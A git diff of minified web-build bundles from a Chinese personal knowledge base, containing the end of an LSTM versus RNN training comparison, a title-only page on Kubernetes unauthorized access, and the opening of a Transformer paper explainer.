\u8fed\u4ee3\u66f4\u5feb\uff0c\u6240\u4ee5\u5bb9\u6613\u8f83\u65e9\u7684\u8fc7\u62df\u5408\uff0c\u6240\u4ee5\u5c06\u5176\u8bad\u7ec3 epoch \u780d\u534a\uff0c\u4e5f\u5c31\u662f\u8bf4 MyLSTM \u4f7f\u7528 6 epoch \u8fdb\u884c\u8bad\u7ec3\uff0c\u800c ",(0,d.jsx)(e.code,{children:"nn.LSTM"})," \u4f7f\u7528 3 epoch \u8fdb\u884c\u8bad\u7ec3\u3002\u4e24\u8005\u53ef\u4ee5\u8fbe\u5230\u57fa\u672c\u76f8\u8fd1\u7684\u6548\u679c"]}),"\n",(0,d.jsxs)(e.p,{children:["\u53e6\u5916\u5728\u4ee3\u7801\u5b9e\u73b0\u4e2d ",(0,d.jsx)(e.code,{children:"nn.LSTM"})," \u540e\u9762\u52a0\u4e86\u4e00\u4e2a ",(0,d.jsx)(e.code,{children:"nn.Linear"})," \u6765\u5b9e\u73b0\u4e8c\u5206\u7c7b\uff0c\u53c2\u6570\u91cf\u4e3a 258\uff0c \u6240\u4ee5 MyLSTM \u548c LSTM \u76f8\u5dee\u53c2\u6570\u603b\u91cf\u4e3a 512\u3002"]}),"\n",(0,d.jsx)(e.h3,{id:"nnrnn",children:"nn.RNN"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,d.jsxs)(e.table,{children:[(0,d.jsx)(e.thead,{children:(0,d.jsxs)(e.tr,{children:[(0,d.jsx)(e.th,{children:"\u540d\u79f0"}),(0,d.jsx)(e.th,{children:"\u503c"})]})}),(0,d.jsxs)(e.tbody,{children:[(0,d.jsxs)(e.tr,{children:[(0,d.jsx)(e.td,{children:"learning_rate"}),(0,d.jsx)(e.td,{children:(0,d.jsx)(e.strong,{children:"0.0001"})})]}),(0,d.jsxs)(e.tr,{children:[(0,d.jsx)(e.td,{children:"batch_size"}),(0,d.jsx)(e.td,{children:"32"})]}),(0,d.jsxs)(e.tr,{children:[(0,d.jsx)(e.td,{children:"epoch"}),(0,d.jsx)(e.td,{children:(0,d.jsx)(e.strong,{children:"12-18"})})]}),(0,d.jsxs)(e.tr,{children:[(0,d.jsx)(e.td,{children:"input_size"}),(0,d.jsx)(e.td,{children:"64"})]}),(0,d.jsxs)(e.tr,{children:[(0,d.jsx)(e.td,{children:"hidden_size"}),(0,d.jsx)(e.td,{children:"128"})]}),(0,d.jsxs)(e.tr,{children:[(0,d.jsx)(e.td,{children:"num_classes"}),(0,d.jsx)(e.td,{children:"2"})]})]})]}),"\n",(0,d.jsx)(e.p,{children:"\u6b64\u65f6\uff1a\nnn.RNN \u53c2\u6570\u91cf: 25090"}),"\n",(0,d.jsx)(e.p,{children:"\u7531\u4e8e\u5b9e\u9a8c\u6837\u672c\u957f\u5ea6\u5728 1000 \u4e0a\u4e0b\uff0c RNN \u663e\u793a\u51fa\u6765\u4e86\u6781\u5927\u7684\u4e0d\u7a33\u5b9a\u6027\uff0c\u5176\u4e2d\uff0c \u76f8\u8f83\u4e8e LSTM \u66f4\u5bb9\u6613\u68af\u5ea6\u7206\u70b8\u3001\u8bad\u7ec3 epoch \u66f4\u591a\u3001\u5b66\u4e60\u7387\u9700\u8981\u8c03\u4f4e\u7b49\u7b49\u95ee\u9898\uff0c\u5c3d\u7ba1\u5982\u6b64\u4f9d\u7136\u4e0d\u80fd\u4fdd\u8bc1\u7a33\u5b9a\u7684\u826f\u597d\u7ed3\u679c\u3002"}),"\n",(0,d.jsx)(e.p,{children:"\u4e3e\u4f8b\u6765\u8bf4\uff0c\u67d0\u5b66\u751f\u5b66\u4e60\u9605\u8bfb\u7406\u89e3\uff0c\u8981\u6c42\u6839\u636e\u6587\u7ae0\u5185\u5bb9\u56de\u7b54\u6587\u7ae0\u7684\u60c5\u611f\u503e\u5411\uff0c\u4f46\u662f\u5b66\u751f\u53ea\u559c\u6b22\u770b\u6700\u540e\u4e00\u53e5\u8bdd\uff0c\u6bcf\u6b21\u90fd\u6839\u636e\u6700\u540e\u4e00\u53e5\u8bdd\u6765\u56de\u7b54\u95ee\u9898\uff0c\u90a3\u4e48\u4ed6\u57fa\u672c\u4e0a\u662f\u7b49\u4e8e\u778e\u731c\u7684\uff0c\u53ea\u80fd\u5b66\u5230\u4e00\u70b9\u6d45\u8584\u7684\u77e5\u8bc6\u3002"}),"\n",(0,d.jsx)(e.h2,{id:"\u5b9e\u9a8c\u7ed3\u679c",children:"\u5b9e\u9a8c\u7ed3\u679c"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,d.jsxs)(e.table,{children:[(0,d.jsx)(e.thead,{children:(0,d.jsxs)(e.tr,{children:[(0,d.jsx)(e.th,{children:"MyLSTM"}),(0,d.jsx)(e.th,{children:"nn.LSTM"}),(0,d.jsx)(e.th,{children:"nn.RNN"})]})}),(0,d.jsx)(e.tbody,{children:(0,d.jsxs)(e.tr,{children:[(0,d.jsx)(e.td,{children:"0.86"}),(0,d.jsx)(e.td,{children:"0.80"}),(0,d.jsx)(e.td,{children:"0.67"})]})})]}),"\n",(0,d.jsx)(e.h1,{id:"\u5173\u4e8e\u68af\u5ea6\u95ee\u9898",children:"\u5173\u4e8e\u68af\u5ea6\u95ee\u9898"}),"\n",(0,d.jsxs)(e.ul,{children:["\n",(0,d.jsxs)(e.li,{children:["\n",(0,d.jsxs)(e.p,{children:["RNN\u95ee\u9898\u4e2d\uff0c",(0,d.jsx)(e.strong,{children:"\u603b\u7684\u68af\u5ea6\u662f\u4e0d\u4f1a\u6d88\u5931\u7684"}),"\u3002\u5373\u4fbf\u68af\u5ea6\u8d8a\u4f20\u8d8a\u5f31\uff0c\u90a3\u4e5f\u662f\u8fdc\u5904\u7684\u68af\u5ea6\u9010\u6e10\u6d88\u5931\uff0c\u800c\u8fd1\u8ddd\u79bb\u7684\u68af\u5ea6\u4e0d\u4f1a\u6d88\u5931\uff0c\u56e0\u6b64\uff0c\u68af\u5ea6\u603b\u548c\u4e0d\u4f1a\u6d88\u5931\u3002RNN \u68af\u5ea6\u6d88\u5931\u7684\u771f\u6b63\u542b\u4e49\u662f\uff1a\u68af\u5ea6\u88ab\u8fd1\u8ddd\u79bb\u68af\u5ea6\u6240\u4e3b\u5bfc\uff0c\u5bfc\u81f4\u6a21\u578b\u96be\u4ee5\u5b66\u5230\u8fdc\u8ddd\u79bb\u7684\u4f9d\u8d56\u5173\u7cfb\u3002"]}),"\n"]}),"\n",(0,d.jsxs)(e.li,{children:["\n",(0,d.jsxs)(e.p,{children:["LSTM \u4e0a\u6709\u591a\u6761\u4fe1\u606f\u6d41\u8def\u5f84\uff0c\u5176\u4e2d\uff0c",(0,d.jsx)(e.strong,{children:"\u5143\u7d20\u76f8\u52a0\u7684\u8def\u5f84\u7684\u68af\u5ea6\u6d41\u662f\u6700\u7a33\u5b9a\u7684"}),"\uff0c\u800c\u5176\u4ed6\u8def\u5f84\u4e0a\u4e0e\u57fa\u672c\u7684 RNN \u76f8\u7c7b\u4f3c\uff0c\u4f9d\u7136\u5b58\u5728\u53cd\u590d\u76f8\u4e58\u95ee\u9898\u3002"]}),"\n"]}),"\n",(0,d.jsxs)(e.li,{children:["\n",(0,d.jsxs)(e.p,{children:["LSTM \u521a\u521a\u63d0\u51fa\u65f6\u4e0d\u5b58\u5728\u9057\u5fd8\u95e8\u3002\u8fd9\u65f6\u5019\u5386\u53f2\u6570\u636e\u53ef\u4ee5\u5728\u8fd9\u6761\u8def\u5f84\u4e0a\u65e0\u635f\u7684\u4f20\u9012\uff0c\u53ef\u4ee5\u5c06\u5176\u89c6\u4e3a\u4e00\u6761 ",(0,d.jsx)(e.strong,{children:"\u9ad8\u901f\u516c\u8def"}),"\uff0c\u7c7b\u4f3c\u4e8e ResNet \u4e2d\u7684\u6b8b\u5dee\u8fde\u63a5\u3002"]}),"\n"]}),"\n",(0,d.jsxs)(e.li,{children:["\n",(0,d.jsxs)(e.p,{children:["\u4f46\u662f\u5176\u4ed6\u8def\u5f84\u4e0a\uff0c LSTM \u4e0e RNN \u5e76\u65e0\u592a\u591a\u533a\u522b\uff0c\u4f9d\u7136\u4f1a\u7206\u70b8\u6216\u8005\u6d88\u5931\u3002\u7531\u4e8e",(0,d.jsx)(e.strong,{children:"\u603b\u7684\u8fdc\u8ddd\u79bb\u68af\u5ea6 = \u5404\u4e2a\u8def\u5f84\u7684\u8fdc\u8ddd\u79bb\u68af\u5ea6\u4e4b\u548c"}),"\uff0c\u56e0\u6b64\u53ea\u8981\u6709\u4e00\u6761\u8def\u7684\u8fdc\u8ddd\u79bb\u68af\u5ea6\u6ca1\u6709\u6d88\u5931\uff0c\u603b\u7684\u8fdc\u8ddd\u79bb\u68af\u5ea6\u5c31\u4e0d\u4f1a\u6d88\u5931\u3002\u53ef\u4ee5\u8bf4\uff0cLSTM \u901a\u8fc7\u8fd9\u4e00\u6761\u8def\u62ef\u6551\u4e86\u603b\u7684\u8fdc\u8ddd\u79bb\u68af\u5ea6\u3002"]}),"\n"]}),"\n",(0,d.jsxs)(e.li,{children:["\n",(0,d.jsxs)(e.p,{children:["\u540c\u6837\uff0c",(0,d.jsx)(e.strong,{children:"\u603b\u7684\u8fdc\u8ddd\u79bb\u68af\u5ea6 = \u5404\u4e2a\u8def\u5f84\u7684\u8fdc\u8ddd\u79bb\u68af\u5ea6\u4e4b\u548c"}),"\uff0c\u867d\u7136\u9ad8\u901f\u8def\u4e0a\u7684\u68af\u5ea6\u6d41\u6bd4\u8f83\u7a33\u5b9a\uff0c\u4f46\u662f\u5176\u4ed6\u8def\u4e0a\u4f9d\u7136\u5b58\u5728\u68af\u5ea6\u6d88\u5931\u548c\u68af\u5ea6\u7206\u70b8\u95ee\u9898\u3002\u56e0\u6b64\uff0c\u603b\u7684\u8fdc\u8ddd\u79bb\u68af\u5ea6 = \u6b63\u5e38\u68af\u5ea6 + \u7206\u70b8\u68af\u5ea6 = \u7206\u70b8\u68af\u5ea6\uff0c\u56e0\u6b64 LSTM \u4f9d\u7136\u5b58\u5728\u68af\u5ea6\u7206\u70b8\u95ee\u9898\u3002 \u4f46\u662f\u7531\u4e8e LSTM \u7684\u9053\u8def\u76f8\u6bd4\u7ecf\u5178 RNN \u6765\u8bf4\u975e\u5e38\u5d0e\u5c96\uff0c \u5b58\u5728\u591a\u6b21\u6fc0\u6d3b\u51fd\u6570\uff0c\u56e0\u6b64 LSTM \u53d1\u751f\u68af\u5ea6\u7206\u70b8\u7684\u6982\u7387\u8981\u5c0f\u5f97\u591a\u3002\u5b9e\u8df5\u4e2d\u901a\u5e38\u901a\u8fc7\u68af\u5ea6\u526a\u88c1\u6765\u4f18\u5316\u95ee\u9898\u3002"]}),"\n"]}),"\n"]})]})}function j(n={}){const{wrapper:e}={...(0,t.R)(),...n.components};return e?(0,d.jsx)(e,{...n,children:(0,d.jsx)(x,{...n})}):x(n)}}}]); \ No newline at end of file diff --git a/assets/js/5862ad3b.aabf0f6c.js b/assets/js/5862ad3b.aabf0f6c.js new file mode 100644 index 0000000..0c2644e --- /dev/null +++ b/assets/js/5862ad3b.aabf0f6c.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[3880],{28453:(e,t,n)=>{n.d(t,{R:()=>o,x:()=>l});var s=n(96540);const r={},i=s.createContext(r);function o(e){const t=s.useContext(i);return s.useMemo(function(){return"function"==typeof e?e(t):{...t,...e}},[t,e])}function l(e){let t;return t=e.disableParentContext?"function"==typeof e.components?e.components(r):e.components||r:o(e.components),s.createElement(i.Provider,{value:t},e.children)}},66955:(e,t,n)=>{n.r(t),n.d(t,{assets:()=>c,contentTitle:()=>l,default:()=>u,frontMatter:()=>o,metadata:()=>s,toc:()=>d});const s=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/kubernetes/k8s\u4e0b\u7684\u5404\u79cd\u672a\u6388\u6743/README","title":"k8s\u4e0b\u7684\u5404\u79cd\u672a\u6388\u6743","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/04.\u5185\u7f51\u6e17\u900f/02.kubernetes/03.k8s\u4e0b\u7684\u5404\u79cd\u672a\u6388\u6743/README.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/04.\u5185\u7f51\u6e17\u900f/02.kubernetes/03.k8s\u4e0b\u7684\u5404\u79cd\u672a\u6388\u6743","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/kubernetes/k8s\u4e0b\u7684\u5404\u79cd\u672a\u6388\u6743/","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/kubernetes/k8s\u4e0b\u7684\u5404\u79cd\u672a\u6388\u6743/","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/04.\u5185\u7f51\u6e17\u900f/02.kubernetes/03.k8s\u4e0b\u7684\u5404\u79cd\u672a\u6388\u6743/README.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"\u5bb9\u5668\u9003\u9038\u7684\u624b\u6cd5","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/kubernetes/\u5bb9\u5668\u9003\u9038\u7684\u624b\u6cd5/"},"next":{"title":"Apiserver","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/kubernetes/k8s\u4e0b\u7684\u5404\u79cd\u672a\u6388\u6743/ApiServer"}}');var r=n(74848),i=n(28453);const o={},l="k8s\u4e0b\u7684\u5404\u79cd\u672a\u6388\u6743",c={},d=[];function a(e){const t={h1:"h1",header:"header",img:"img",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",...(0,i.R)(),...e.components};return(0,r.jsxs)(r.Fragment,{children:[(0,r.jsx)(t.header,{children:(0,r.jsx)(t.h1,{id:"k8s\u4e0b\u7684\u5404\u79cd\u672a\u6388\u6743",children:"k8s\u4e0b\u7684\u5404\u79cd\u672a\u6388\u6743"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,r.jsxs)(t.table,{children:[(0,r.jsx)(t.thead,{children:(0,r.jsxs)(t.tr,{children:[(0,r.jsx)(t.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,r.jsx)(t.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,r.jsx)(t.tbody,{children:(0,r.jsxs)(t.tr,{children:[(0,r.jsx)(t.td,{style:{textAlign:"left"},children:(0,r.jsx)(t.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,r.jsx)(t.td,{style:{textAlign:"left"},children:"2025-10-15 00:33:44"})]})})]})]})}function u(e={}){const{wrapper:t}={...(0,i.R)(),...e.components};return t?(0,r.jsx)(t,{...e,children:(0,r.jsx)(a,{...e})}):a(e)}}}]); \ No newline at end of file diff --git a/assets/js/58701670.e0de1c15.js b/assets/js/58701670.e0de1c15.js new file mode 100644 index 0000000..45d07b0 --- /dev/null +++ b/assets/js/58701670.e0de1c15.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[6585],{13679:(n,e,t)=>{t.r(e),t.d(e,{assets:()=>l,contentTitle:()=>a,default:()=>h,frontMatter:()=>i,metadata:()=>r,toc:()=>d});const r=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/Transformer \u89e3\u8bfb","title":"Transformer \u89e3\u8bfb.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/10.\u7b2c\u5341\u7ae0/Transformer \u89e3\u8bfb.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/10.\u7b2c\u5341\u7ae0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/Transformer \u89e3\u8bfb","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/Transformer \u89e3\u8bfb","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/10.\u7b2c\u5341\u7ae0/Transformer \u89e3\u8bfb.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"Swin-Transformer\u89e3\u8bfb.md","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/Swin-Transformer\u89e3\u8bfb"},"next":{"title":"ViT\u89e3\u8bfb.md","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/ViT\u89e3\u8bfb"}}');var s=t(74848),o=t(28453);const i={},a="Transformer \u89e3\u8bfb.md",l={},d=[{value:"\u524d\u8a00",id:"\u524d\u8a00",level:2},{value:"\u6574\u4f53\u67b6\u6784",id:"\u6574\u4f53\u67b6\u6784",level:2},{value:"Attention",id:"attention",level:2},{value:"\u4f55\u4e3a Attention",id:"\u4f55\u4e3a-attention",level:3},{value:"Self-Attention",id:"self-attention",level:3},{value:"Multi-Head Attention",id:"multi-head-attention",level:3},{value:"Encoder",id:"encoder",level:2},{value:"Decoder",id:"decoder",level:2},{value:"\u6b8b\u5dee\u8fde\u63a5",id:"\u6b8b\u5dee\u8fde\u63a5",level:2},{value:"Mask",id:"mask",level:2},{value:"\u4f4d\u7f6e\u7f16\u7801",id:"\u4f4d\u7f6e\u7f16\u7801",level:2},{value:"\u6700\u7ec8\u5efa\u6a21",id:"\u6700\u7ec8\u5efa\u6a21",level:2},{value:"\u8bad\u7ec3",id:"\u8bad\u7ec3",level:2},{value:"Traning Loop",id:"traning-loop",level:3},{value:"\u4f18\u5316\u5668",id:"\u4f18\u5316\u5668",level:3},{value:"\u6b63\u5219\u5316",id:"\u6b63\u5219\u5316",level:3},{value:"\u603b\u7ed3",id:"\u603b\u7ed3",level:2},{value:"\u4f18\u70b9",id:"\u4f18\u70b9",level:3},{value:"\u7f3a\u70b9",id:"\u7f3a\u70b9",level:3},{value:"\u53c2\u8003\u6750\u6599\uff1a",id:"\u53c2\u8003\u6750\u6599",level:2}];function c(n){const e={a:"a",b:"b",br:"br",code:"code",div:"div",font:"font",h1:"h1",h2:"h2",h3:"h3",header:"header",img:"img",li:"li",ol:"ol",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",...(0,o.R)(),...n.components};return(0,s.jsxs)(s.Fragment,{children:[(0,s.jsx)(e.header,{children:(0,s.jsx)(e.h1,{id:"transformer-\u89e3\u8bfbmd",children:"Transformer \u89e3\u8bfb.md"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(e.table,{children:[(0,s.jsx)(e.thead,{children:(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,s.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,s.jsx)(e.tbody,{children:(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"left"},children:(0,s.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,s.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:41"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(e.table,{children:[(0,s.jsx)(e.thead,{children:(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,s.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,s.jsx)(e.tbody,{children:(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"left"},children:(0,s.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,s.jsx)(e.td,{style:{textAlign:"left"},children:"2025-10-31 15:44:29"})]})})]}),"\n",(0,s.jsx)(e.h1,{id:"transformer-\u89e3\u8bfb",children:"Transformer \u89e3\u8bfb"}),"\n",(0,s.jsxs)(e.p,{children:["\n",(0,s.jsx)(e.font,{size:"3",children:(0,s.jsx)(e.b,{children:"[Transformer] Attention Is All You Need"})}),"\n",(0,s.jsx)(e.br,{}),"\n",(0,s.jsx)(e.font,{size:"2",children:"Ashish Vaswani\uff0cNoam Shazeer\uff0cNiki Parmar\uff0cJakob Uszkoreit\uff0cLlion Jones\uff0cAidan N. Gomez\uff0c\u0141ukasz Kaiser\uff0cIllia Polosukhin."}),"\n",(0,s.jsx)(e.br,{}),"\n",(0,s.jsx)(e.font,{size:"2",children:"NIPS 2017."}),"\n",(0,s.jsx)(e.a,{href:"https://arxiv.org/pdf/1706.03762.pdf",children:"[paper]"})," ",(0,s.jsx)(e.a,{href:"https://github.com/tensorflow/tensor2tensor",children:"[tensorflow]"})," ",(0,s.jsx)(e.a,{href:"https://github.com/harvardnlp/annotated-transformer",children:"[pytorch]"})," \n",(0,s.jsx)(e.br,{}),"\n",(0,s.jsx)(e.font,{size:"3",children:"\u89e3\u8bfb\u8005\uff1a\u90b9\u96e8\u8861\uff0c\u5bf9\u5916\u7ecf\u6d4e\u8d38\u6613\u5927\u5b66\u672c\u79d1\u751f\uff0c\u725b\u5fd7\u5eb7\uff0c\u897f\u5b89\u7535\u5b50\u79d1\u6280\u5927\u5b66\u672c\u79d1\u751f"}),"\n",(0,s.jsx)(e.br,{}),"\n"]}),"\n",(0,s.jsx)(e.h2,{id:"\u524d\u8a00",children:"\u524d\u8a00"}),"\n",(0,s.jsx)(e.p,{children:"\u200bAttention \uff08\u6ce8\u610f\u529b\uff09\u673a\u5236\u53ca\u5176\u53d8\u4f53\u5df2\u7ecf\u6210\u4e3a\u81ea\u7136\u8bed\u8a00\u5904\u7406\u4efb\u52a1\u7684\u4e00\u79cd\u57fa\u672c\u7f51\u7edc\u67b6\u6784\uff0c\u751a\u81f3\u5728\u4e00\u5b9a\u7a0b\u5ea6\u4e0a\u53d6\u4ee3\u4e86 RNN \uff08\u5faa\u73af\u795e\u7ecf\u7f51\u7edc\uff09\u7684\u4e3b\u6d41\u5730\u4f4d\uff0c2018\u5e74\u53d6\u5f97\u4e86\u81ea\u7136\u8bed\u8a00\u5904\u7406\u591a\u9879\u4efb\u52a1\u6548\u679c\u5927\u5e45\u63d0\u5347\u7684 BERT \u6a21\u578b\u4fbf\u662f\u57fa\u4e8e attention \u673a\u5236\u642d\u5efa\u3002\u4f46\u81ea2014\u5e74 attention \u673a\u5236\u88ab\u63d0\u51fa\u81f32017\u5e74\uff0c\u867d\u7136\u88ab\u5e7f\u6cdb\u5e94\u7528\u5230\u6df1\u5ea6\u5b66\u4e60\u7684\u5404\u9886\u57df\u4e2d\uff0cattention \u673a\u5236\u66f4\u591a\u7684\u662f\u4f5c\u4e3a CNN\uff08\u5377\u79ef\u795e\u7ecf\u7f51\u7edc\uff09\u3001RNN \u7684\u7ec4\u4ef6\u5b58\u5728\uff0c\u81ea\u7136\u8bed\u8a00\u5904\u7406\u7684\u5404\u79cd\u4efb\u52a1\u4ecd\u7136\u662f\u4ee5 RNN \u53ca\u5176\u53d8\u4f53\u5982 LSTM\uff08\u957f\u77ed\u671f\u8bb0\u5fc6\u9012\u5f52\u795e\u7ecf\u7f51\u7edc\uff09\u4e3a\u4e3b\u3002"}),"\n",(0,s.jsx)(e.p,{children:"\u200b\u4f46\u662f RNN\u3001LSTM \u867d\u7136\u5728\u5904\u7406\u81ea\u7136\u8bed\u8a00\u5904\u7406\u7684\u5e8f\u5217\u5efa\u6a21\u4efb\u52a1\u4e2d\u5f97\u5929\u72ec\u539a\uff0c\u5374\u4e5f\u6709\u7740\u96be\u4ee5\u5ffd\u89c6\u7684\u7f3a\u9677\uff1a"}),"\n",(0,s.jsx)(e.p,{children:"\u200b1. RNN \u4e3a\u5355\u5411\u4f9d\u5e8f\u8ba1\u7b97\uff0c\u5e8f\u5217\u9700\u8981\u4f9d\u6b21\u8f93\u5165\u3001\u4e32\u884c\u8ba1\u7b97\uff0c\u9650\u5236\u4e86\u8ba1\u7b97\u673a\u7684\u5e76\u884c\u8ba1\u7b97\u80fd\u529b\uff0c\u5bfc\u81f4\u65f6\u95f4\u6210\u672c\u8fc7\u9ad8\u3002"}),"\n",(0,s.jsx)(e.p,{children:"\u200b2. RNN \u96be\u4ee5\u6355\u6349\u957f\u671f\u4f9d\u8d56\u95ee\u9898\uff0c\u5373\u5bf9\u4e8e\u6781\u957f\u5e8f\u5217\uff0cRNN \u96be\u4ee5\u6355\u6349\u8fdc\u8ddd\u79bb\u8f93\u5165\u4e4b\u95f4\u7684\u5173\u7cfb\u3002\u867d\u7136 LSTM \u901a\u8fc7\u95e8\u673a\u5236\u5bf9\u6b64\u8fdb\u884c\u4e86\u4e00\u5b9a\u4f18\u5316\uff0c\u4f46 RNN \u5bf9\u957f\u671f\u4f9d\u8d56\u95ee\u9898\u7684\u6355\u6349\u80fd\u529b\u4f9d\u65e7\u662f\u4e0d\u5982\u4eba\u610f\u7684\u3002"}),"\n",(0,s.jsx)(e.p,{children:"\u200b\u9488\u5bf9\u4e0a\u8ff0\u4e24\u4e2a\u95ee\u9898\uff0c2017\u5e74\uff0cVaswani \u7b49\u4eba\u53d1\u8868\u4e86\u8bba\u6587\u300aAttention Is All You Need\u300b\uff0c\u629b\u5f03\u4e86\u4f20\u7edf\u7684 CNN\u3001RNN \u67b6\u6784\uff0c\u63d0\u51fa\u4e86\u4e00\u79cd\u5168\u65b0\u7684\u5b8c\u5168\u57fa\u4e8e attention \u673a\u5236\u7684\u6a21\u578b\u2014\u2014Transformer\uff0c\u89e3\u51b3\u4e86\u4e0a\u8ff0\u95ee\u9898\uff0c\u5728\u8f83\u5c0f\u7684\u65f6\u95f4\u6210\u672c\u4e0b\u53d6\u5f97\u4e86\u591a\u4e2a\u4efb\u52a1\u7684 the-state-of-art \u6548\u679c\uff0c\u5e76\u4e3a\u81ea\u7136\u8bed\u8a00\u5904\u7406\u4efb\u52a1\u63d0\u4f9b\u4e86\u65b0\u7684\u601d\u8def\u3002\u81ea\u6b64\uff0cattention \u673a\u5236\u8fdb\u5165\u81ea\u7136\u8bed\u8a00\u5904\u7406\u4efb\u52a1\u7684\u4e3b\u6d41\u67b6\u6784\uff0c\u4f17\u591a\u6027\u80fd\u5353\u8d8a\u7684\u9884\u8bad\u7ec3\u6a21\u578b\u90fd\u57fa\u4e8e Transformer \u67b6\u6784\u63d0\u51fa\uff0c\u4f8b\u5982 BERT\u3001OpenAI GPT \u7b49\u3002"}),"\n",(0,s.jsxs)(e.p,{children:["\u200b\u672c\u6587\u5c06\u4ece\u6a21\u578b\u539f\u7406\u53ca\u4ee3\u7801\u5b9e\u73b0\u4e0a\u8bb2\u89e3\u8be5\u6a21\u578b\uff0c\u5e76\u7740\u91cd\u4ecb\u7ecd\u4ee3\u7801\u5b9e\u73b0\u3002\u9700\u8981\u6ce8\u610f\u7684\u662f\uff0c\u7531\u4e8e Transformer \u6e90\u4ee3\u7801\u4f7f\u7528 TensorFlow \u642d\u5efa\uff0c\u6b64\u5904\u9009\u62e9\u4e86\u54c8\u4f5b\u5927\u5b66 harvardnlp \u56e2\u961f\u57fa\u4e8e Pytorch \u6846\u67b6\u5f00\u53d1\u7684 ",(0,s.jsx)(e.a,{href:"https://github.com/harvardnlp/annotated-transformer",children:"Annotated Transformer"})," \u4ee3\u7801\u8fdb\u884c\u8bb2\u89e3\uff0c\u4ee5\u5e2e\u52a9\u5927\u5bb6\u4e86\u89e3 Transformer \u7684\u5b9e\u73b0\u7ec6\u8282\u3002"]}),"\n",(0,s.jsx)(e.h2,{id:"\u6574\u4f53\u67b6\u6784",children:"\u6574\u4f53\u67b6\u6784"}),"\n",(0,s.jsx)(e.p,{children:"\u200b\tTransformer \u662f\u9488\u5bf9\u81ea\u7136\u8bed\u8a00\u5904\u7406\u7684 Seq2Seq\uff08\u5e8f\u5217\u5230\u5e8f\u5217\uff09\u4efb\u52a1\u5f00\u53d1\u7684\uff0c\u6574\u4f53\u4e0a\u6cbf\u7528\u4e86 Seq2Seq \u6a21\u578b\u7684 